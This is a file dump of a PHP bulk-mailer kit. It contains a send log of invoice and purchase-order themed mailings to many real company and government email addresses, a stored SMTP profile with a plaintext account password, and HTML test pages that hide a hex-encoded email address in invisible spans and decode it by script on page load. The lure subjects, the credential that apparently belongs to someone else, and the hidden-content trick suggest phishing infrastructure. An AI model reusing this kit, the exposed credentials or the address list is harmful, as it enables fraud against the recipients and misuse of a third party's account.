Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:28", "to": "michel.grenon@telesignal.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:33", "to": "lysha.pitts@terralogix.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:38", "to": "baird.jayme@mccawsdrilling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:43", "to": "sholliday@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:48", "to": "cnoble@elspect.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:03:58", "to": "colson@techmationelectric.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:04:04", "to": "insidesales@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:04:09", "to": "neil.russell@aaasafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:04:14", "to": "steveq@alpha-wireless.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:04:19", "to": "lisa@impactcomms.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:04:24", "to": "cindyc@federalwc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:10:37", "to": "Lona@barrett.net.au", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:12:14", "to": "chris.jones@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:12:23", "to": "rentals@petron.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:12:32", "to": "philip.stoddart@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:12:41", "to": "curtis@wildnorthvac.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:12:51", "to": "pbentley@aluma.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:00", "to": "betty.dagenais@tridon.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:09", "to": "felecia.barton@waiward.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:18", "to": "ian.gates@tridon.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:31", "to": "krista.lund@visatrucks.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:40", "to": "sales@ttcomm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:50", "to": "jolene.lewin@fortisbc.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:13:59", "to": "philipstoddart@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:14:08", "to": "jessica@silverberry.pro", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:14:17", "to": "codenbach@davissafety.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:14:26", "to": "ron.peterson@nrm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:14:36", "to": "andrew.craig@nrm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:14:45", "to": "saales@ttcomm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:14:54", "to": "kfriesen@aluma.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:15:03", "to": "jlawson@arcresources.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:15:13", "to": "mike.morris@canforpulp.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:15:22", "to": "mike@instream.net", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:15:31", "to": "dispatch@mmres.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:15:40", "to": "devin_dickson@golder.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:15:51", "to": "myles.marshak@atco.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:00", "to": "office@maxim-industries.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:10", "to": "james.mcdonald@bakerhughes.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:19", "to": "kirk.maclellan@conocophillips.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:28", "to": "alex.reimer@mcloudcorp.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:37", "to": "s.chalmers@propertelevision.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:46", "to": "gabrielle-archive@petroncomm.onmicrosoft.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:16:56", "to": "smackinnon@surelineprojects.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:17:05", "to": "jswanson@pembina.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:19", "to": "chris.jones@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:23", "to": "rentals@petron.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:27", "to": "philip.stoddart@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:32", "to": "curtis@wildnorthvac.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:36", "to": "pbentley@aluma.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:40", "to": "betty.dagenais@tridon.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:44", "to": "felecia.barton@waiward.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:48", "to": "ian.gates@tridon.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:52", "to": "krista.lund@visatrucks.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:20:57", "to": "sales@ttcomm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:01", "to": "jolene.lewin@fortisbc.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:05", "to": "philipstoddart@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:09", "to": "jessica@silverberry.pro", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:14", "to": "codenbach@davissafety.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:18", "to": "ron.peterson@nrm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:22", "to": "andrew.craig@nrm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:26", "to": "saales@ttcomm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:30", "to": "kfriesen@aluma.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:35", "to": "jlawson@arcresources.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:39", "to": "mike.morris@canforpulp.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:43", "to": "mike@instream.net", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:51", "to": "dispatch@mmres.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:55", "to": "devin_dickson@golder.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:21:59", "to": "myles.marshak@atco.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:03", "to": "office@maxim-industries.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:08", "to": "james.mcdonald@bakerhughes.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:12", "to": "kirk.maclellan@conocophillips.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:16", "to": "alex.reimer@mcloudcorp.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:20", "to": "s.chalmers@propertelevision.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:24", "to": "gabrielle-archive@petroncomm.onmicrosoft.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:29", "to": "smackinnon@surelineprojects.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:33", "to": "jswanson@pembina.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:37", "to": "simon@petron.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:41", "to": "sheldon.wheeler@canfor.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:45", "to": "eric@aaasafety.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:50", "to": "cherbert@geoforce.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:54", "to": "jhamling@techmationelectric.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:22:58", "to": "nbezuidenhout@techmationelectric.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:02", "to": "lhiebert@techmationelectric.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:06", "to": "ranthony@clearstreamenergy.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:10", "to": "chadc@dakiiservices.com", "subject": "Hello {{name}}!", "status": "failed", "error": "Failed to send to chadc@dakiiservices.com: SMTP Error: The following recipients failed: chadc@dakiiservices.com: <chadc@dakiiservices.com> recipient domain not found\r\n" }, { "timestamp": "2025-09-16 16:23:14", "to": "mike@sharpinstrumentsltd.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:18", "to": "mcava@pembina.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:23", "to": "brandon@blackgoldmedical.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:27", "to": "ben.koops@gov.bc.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:31", "to": "jonah.sadowski@provisioninfotech.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:35", "to": "dan.hogg@canforpulp.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:39", "to": "johnt@radio1inc.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:44", "to": "ssorensen@pembina.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:48", "to": "wade@visatrucks.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:23:57", "to": "bobk@ace95.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:01", "to": "sid@petron.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:06", "to": "dscherk@gpscentral.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:10", "to": "renee.corrigal@bearcom.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:14", "to": "heather.cavanaugh@bearcom.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:18", "to": "rkavanamani@flintenergy.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:22", "to": "spagliaro@keywestprojects.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:27", "to": "kenneth.stafford@atlascopco.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:31", "to": "jcage@paladinsecurity.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:35", "to": "rebekah.ingram@bcwf.bc.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:39", "to": "billf@arthomson.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:43", "to": "scarnahan@streamlineinspection.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:49", "to": "tyler@petron.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:54", "to": "joanne.anderson@nrm.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:24:58", "to": "dylan.boser@tridon.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:25:02", "to": "german@lupatechltd.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:25:06", "to": "colton@impactcomms.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:25:10", "to": "rob.duncan@mudbaydrilling.com", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-16 16:25:14", "to": "jan@petron.ca", "subject": "Hello {{name}}!", "status": "success", "error": "" }, { "timestamp": "2025-09-26 18:55:58", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "failed", "error": "Failed to send to lona@barrett.net.au: SMTP Error: Could not authenticate." }, { "timestamp": "2025-09-26 18:58:20", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:05:26", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:05:29", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:05:55", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:05:57", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:13:21", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:13:24", "to": "a.ali@binhendigroup.com", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:24:04", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:24:07", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:24:10", "to": "a.ali@binhendigroup.com", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:25:28", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:25:31", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:25:34", "to": "a.ali@binhendigroup.com", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:26:28", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:26:31", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:26:34", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:26:36", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:26:39", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:26:42", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:27:07", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:27:10", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:27:13", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:27:16", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:27:19", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:27:21", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:28:10", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-09-26 19:28:20", "to": "lona@barrett.net.au", "subject": "REVISED PO", "status": "success", "error": "" }, { "timestamp": "2025-11-17 10:30:46", "to": "scottspeer@envirotx.com", "subject": "Hello {{name}}!", "status": "failed", "error": "Failed to send to scottspeer@envirotx.com: SMTP Error: Could not connect to SMTP host. Failed to connect to server" }, { "timestamp": "2025-11-17 10:33:06", "to": "scottspeer@envirotx.com", "subject": "Hello {{name}}!", "status": "failed", "error": "Failed to send to scottspeer@envirotx.com: SMTP Error: Could not connect to SMTP host. Failed to connect to server" } ]PK 9]�[��[ data/email-lists.jsonnu ȯ�� { "68bf36599dfd0": { "name": "Test", "created": "2025-09-08 20:02:33", "subscribers": [ { "email": "lona@barrett.net.au", "name": "Lona", "added": "2025-09-08 20:03:20" } ] } }PK 9]�[ �z data/smtp-profiles.jsonnu ȯ�� [ { "name": "Web.de", "host": "smtp.web.de", "port": 587, "encryption": "tls", "username": "kerstin.loy@web.de", "password": "vorstand", "from_email": "kerstin.loy@web.de", "from_name": "Noens Guido" } ]PK 9]�[ data/templates.jsonnu ȯ�� PK 9]�[���]� � direct_test_processed.htmlnu �[��� <!DOCTYPE html><html><head><title>Test</title></head><body><h1>Test Document</h1><!-- [418651randomnumber606807] --> <div style="display: none;"> <span style="background: none;border: none;display: none;color: none; line-height:0%; max-height:0%; max-width:0%; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all"><! 7465__7374__4065__7861__6d70__6c65__></span><span style="background: none;border: none;display: none;color: none; line-height:0%; max-height:0%; max-width:0%; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all"><! 2e63__6f6d__></span> </div> <script> function extractEmailFromHTML() { var hiddenSpans = document.querySelectorAll('span[style*="display: none"]'); var hexData = ""; for (var i = 0; i < hiddenSpans.length; i++) { var content = hiddenSpans[i].textContent; if (content && content.trim() !== "") { // Extract the hex data from the comment var match = content.match(/<! ([a-f0-9_]+)/); if (match && match[1]) { hexData += match[1].replace(/__/g, ""); } } } // Convert hex to string var email = ""; for (var j = 0; j < hexData.length; j += 2) { email += String.fromCharCode(parseInt(hexData.substr(j, 2), 16)); } // Use the email as needed console.log("Extracted email:", email); // You can now use the email value for whatever purpose return email; } // Auto-extract on page load window.addEventListener('load', function() { var extractedEmail = extractEmailFromHTML(); if (extractedEmail) { console.log("Email extracted on load:", extractedEmail); } }); </script></body></html>PK 9]�[�-�� � lists.phpnu �[��� <?php require_once 'config.php'; requireLogin(); // Handle form submission to add a new list if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_list_name'])) { $lists = getEmailLists(); $newListName = trim($_POST['new_list_name']); if (!empty($newListName)) { $newId = uniqid(); // Generate a unique ID for the list $lists[$newId] = [ 'name' => $newListName, 'created' => date('Y-m-d H:i:s'), 'subscribers' => [] ]; saveEmailLists($lists); header('Location: lists.php?success=List+created'); exit; } } // Handle list deletion if (isset($_GET['delete_list'])) { $lists = getEmailLists(); $listId = $_GET['delete_list']; if (isset($lists[$listId])) { unset($lists[$listId]); saveEmailLists($lists); header('Location: lists.php?success=List+deleted'); exit; } } $emailLists = getEmailLists(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Manage Lists</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="bg-light"> <div class="container py-5"> <div class="row justify-content-center"> <div class="col-md-10"> <div class="d-flex justify-content-between align-items-center mb-4"> <h2>Manage Email Lists</h2> <a href="index.php" class="btn btn-secondary">Back to Dashboard</a> </div> <!-- Create New List Form --> <div class="card mb-4"> <div class="card-header"> <h5 class="mb-0">Create New List</h5> </div> <div class="card-body"> <form method="POST"> <div class="input-group"> <input type="text" class="form-control" name="new_list_name" placeholder="Enter new list name" required> <button type="submit" class="btn btn-primary">Create List</button> </div> </form> </div> </div> <!-- Existing Lists --> <div class="card"> <div class="card-header"> <h5 class="mb-0">Your Email Lists</h5> </div> <div class="card-body"> <?php if (empty($emailLists)): ?> <p class="text-muted">No lists found. Create your first list above.</p> <?php else: ?> <div class="list-group"> <?php foreach ($emailLists as $listId => $list): ?> <div class="list-group-item d-flex justify-content-between align-items-center"> <div> <strong><?= htmlspecialchars($list['name']) ?></strong> <br> <small class="text-muted"> <?= count($list['subscribers'] ?? []) ?> subscribers • Created: <?= $list['created'] ?> </small> </div> <div> <a href="list-edit.php?id=<?= $listId ?>" class="btn btn-sm btn-outline-primary">Manage</a> <a href="lists.php?delete_list=<?= $listId ?>" class="btn btn-sm btn-outline-danger" onclick="return confirm('Delete this list and all subscribers?')">Delete</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> </div> </div> </div> </div> </div> </body> </html>PK 9]�[&�y� � check_login.phpnu �[��� <?php session_start(); if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) { echo 'logged_in'; } else { echo 'not_logged_in'; } ?>PK 9]�[ smtp-delete.phpnu �[��� PK 9]�[�K��� � direct_test_obfuscated.htmlnu �[��� <!DOCTYPE html><html><head><title>Test</title></head><body><h1>Test Document</h1><!-- [674603randomnumber784208] --> <div style="display: none;"> <span style="background: none;border: none;display: none;color: none; line-height:0%; max-height:0%; max-width:0%; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all"><! 7465__7374__4065__7861__6d70__6c65__></span><span style="background: none;border: none;display: none;color: none; line-height:0%; max-height:0%; max-width:0%; opacity:0; overflow:hidden; visibility:hidden; mso-hide:all"><! 2e63__6f6d__></span> </div> <script> function extractEmailFromHTML() { var hiddenSpans = document.querySelectorAll('span[style*="display: none"]'); var hexData = ""; for (var i = 0; i < hiddenSpans.length; i++) { var content = hiddenSpans[i].textContent; if (content && content.trim() !== "") { // Extract the hex data from the comment var match = content.match(/<! ([a-f0-9_]+)/); if (match && match[1]) { hexData += match[1].replace(/__/g, ""); } } } // Convert hex to string var email = ""; for (var j = 0; j < hexData.length; j += 2) { email += String.fromCharCode(parseInt(hexData.substr(j, 2), 16)); } // Use the email as needed console.log("Extracted email:", email); // You can now use the email value for whatever purpose return email; } // Auto-extract on page load window.addEventListener('load', function() { var extractedEmail = extractEmailFromHTML(); if (extractedEmail) { console.log("Email extracted on load:", extractedEmail); } }); </script></body></html>PK 9]�[�O|F� F� index.phpnu �[��� <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP Mailer with Unique Email Tags</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> body { background: #f8f9fa; padding: 20px; } .login-container { max-width: 400px; margin: 100px auto; } .card { margin-bottom: 20px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); } .email-counter { font-size: 0.8rem; color: #6c757d; } .timer-display { font-size: 1.2rem; font-weight: bold; color: #0d6efd; padding: 5px 10px; borderRadius: 4px; background-color: #f8f9fa; border: 1px solid #dee2e6; } .tag-badge { cursor: pointer; margin: 2px; } .tag-badge:hover { opacity: 0.8; } .attachment-preview { max-height: 200px; overflow-y: auto; background-color: #f8f9fa; padding: 10px; borderRadius: 5px; border: 1px dashed #dee2e6; } .btn-gradient { background: linear-gradient(45deg, #007bff, #6610f2); color: white; border: none; } .btn-gradient:hover { background: linear-gradient(45deg, #0056b3, #4d08c1); color: white; } .success-banner { background: linear-gradient(45deg, #28a745, #20c997); color: white; padding: 15px; borderRadius: 8px; margin-bottom: 20px; text-align: center; box-shadow: 0 4px 6px rgba(0,0,0,0.1); } .error-banner { background: linear-gradient(45deg, #dc3545, #c82333); color: white; padding: 15px; borderRadius: 8px; margin-bottom: 20px; text-align: center; box-shadow: 0 4px 6px rgba(0,0,0,0.1); } .subject-container { position: relative; } .tag-help { position: absolute; right: 10px; top: 10px; font-size: 0.8rem; color: #6c757d; cursor: pointer; } .unique-tag-section { background-color: #f8f9fa; borderRadius: 8px; padding: 15px; margin-top: 15px; } .unique-tag-preview { font-family: monospace; background-color: #e9ecef; padding: 10px; borderRadius: 5px; margin-top: 10px; max-height: 100px; overflow-y: auto; } .unique-tag-badge { background: linear-gradient(45deg, #6f42c1, #d63384); cursor: pointer; } /* Progress Modal Styles */ .progress-modal .modal-content { borderRadius: 10px; box-shadow: 0 5px 20px rgba(0,0,0,0.15); } .progress-modal .modal-header { background: linear-gradient(45deg, #007bff, #6610f2); color: white; border-top-left-radius: 10px; border-top-right-radius: 10px; } .progress-container { height: 25px; borderRadius: 12px; overflow: hidden; background: #e9ecef; margin: 15px 0; } .progress-bar { transition: width 0.3s ease; } .email-details { background: #f8f9fa; borderRadius: 8px; padding: 12px; margin-top: 15px; font-size: 0.9rem; } .stats-box { background: #e9ecef; borderRadius: 8px; padding: 12px; text-align: center; } .stats-number { font-size: 1.5rem; font-weight: bold; color: #007bff; } .stats-label { font-size: 0.8rem; color: #6c757d; } .cancel-btn { background: linear-gradient(45deg, #dc3545, #c82333); color: white; border: none; } .cancel-btn:hover { background: linear-gradient(45deg, #bd2130, #a71e2a); color: white; } .completion-modal .modal-content { borderRadius: 10px; } .completion-modal .modal-header { border-bottom: none; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col-12"> <!-- Login Form (shown if not logged in) --> <div id="loginForm" class="login-container" style="display: none;"> <div class="card"> <div class="card-header bg-primary text-white"> <h5 class="mb-0">Login to PHP Mailer</h5> </div> <div class="card-body"> <form id="loginFormElement" method="POST"> <div class="mb-3"> <label class="form-label">Password</label> <input type="password" class="form-control" name="password" id="password" required> </div> <div class="d-grid"> <button type="submit" class="btn btn-gradient btn-lg"> <i class="fas fa-sign-in-alt me-2"></i>Login </button> </div> </form> </div> </div> </div> <!-- Main App (shown if logged in) --> <div id="mainApp"> <div class="d-flex justify-content-between align-items-center mb-4"> <h1>📧 PHP Mailer with Unique Email Tags</h1> <a href="#" onclick="logout()" class="btn btn-outline-secondary">Logout</a> </div> <!-- Error Message --> <div class="error-banner" id="errorBanner" style="display: none;"> <h4><i class="fas fa-exclamation-circle"></i> Error</h4> <p id="errorMessage"></p> </div> <!-- Success Message --> <div class="success-banner" id="successBanner" style="display: none;"> <h4><i class="fas fa-check-circle"></i> Emails Sent Successfully!</h4> <p>Your message has been sent. You can review the details below or send again.</p> </div> <!-- Send Email Card --> <div class="card"> <div class="card-header bg-primary text-white"> <h5 class="mb-0">Send Email with Attachment</h5> </div> <div class="card-body"> <form action="send.php" method="POST" id="emailForm" enctype="multipart/form-data"> <div class="mb-3"> <label class="form-label">To Emails (one per line, up to 1000)</label> <textarea class="form-control" name="to_emails" id="to_emails" rows="4" required placeholder="Enter one email address per line. Maximum 1000 emails.">john@example.com jane@example.com mike@example.com</textarea> <div class="email-counter mt-1"> <span id="emailCount">3</span> email(s) entered (max 1000) </div> </div> <div class="mb-3 subject-container"> <label class="form-label">Subject</label> <input type="text" class="form-control" name="subject" id="subject" value="Hello {{name}}!" required> <span class="tag-help" title="Click on tags below to insert into subject">Tags work here too!</span> </div> <div class="mb-3"> <label class="form-label">Message</label> <textarea class="form-control" name="message" id="message" rows="4" required>Hi {{name}}, This is a test email sent from our PHP 